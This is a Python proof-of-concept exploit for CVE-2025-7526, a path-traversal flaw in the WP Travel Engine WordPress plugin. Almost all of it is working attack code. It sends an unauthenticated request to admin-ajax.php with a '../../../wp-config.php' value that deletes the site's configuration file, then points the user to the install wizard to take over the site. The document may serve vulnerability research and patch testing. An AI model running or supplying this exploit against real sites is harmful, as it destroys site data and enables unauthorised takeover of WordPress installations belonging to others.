CVE-2025-7526

# CVE-2025-7526 PoC - WP Travel Engine Arbitrary File Deletion # Vulnerability: Insufficient file path validation in set_user_profile_image() # Impact: Arbitrary file deletion leading to RCE via wp-config.php deletion import requests TARGET_URL = "http://target-wordpress-site.com" # Target file to delete - wp-config.php leads to RCE via reinstall wizard TARGET_FILE = "../../../wp-config.php" def exploit(target_url, target_file): """ Exploit arbitrary file deletion via path traversal in WP Travel Engine's set_user_profile_image function. """ # The vulnerable endpoint handles profile image upload/rename endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Craft payload with directory traversal in image path payload = { "action": "wp_travel_engine_set_user_profile_image", "user_id": "1", "profile_image": target_file # Path traversal to delete arbitrary file } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Send unauthenticated request - no auth required (PR:N) response = requests.post(endpoint, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[+] Target file '{target_file}' should now be deleted/renamed") print(f"[+] Visit {target_url}/wp-admin/install.php to complete RCE") else: print(f"[-] Request failed with status: {response.status_code}") if __name__ == "__main__": exploit(TARGET_URL, TARGET_FILE)

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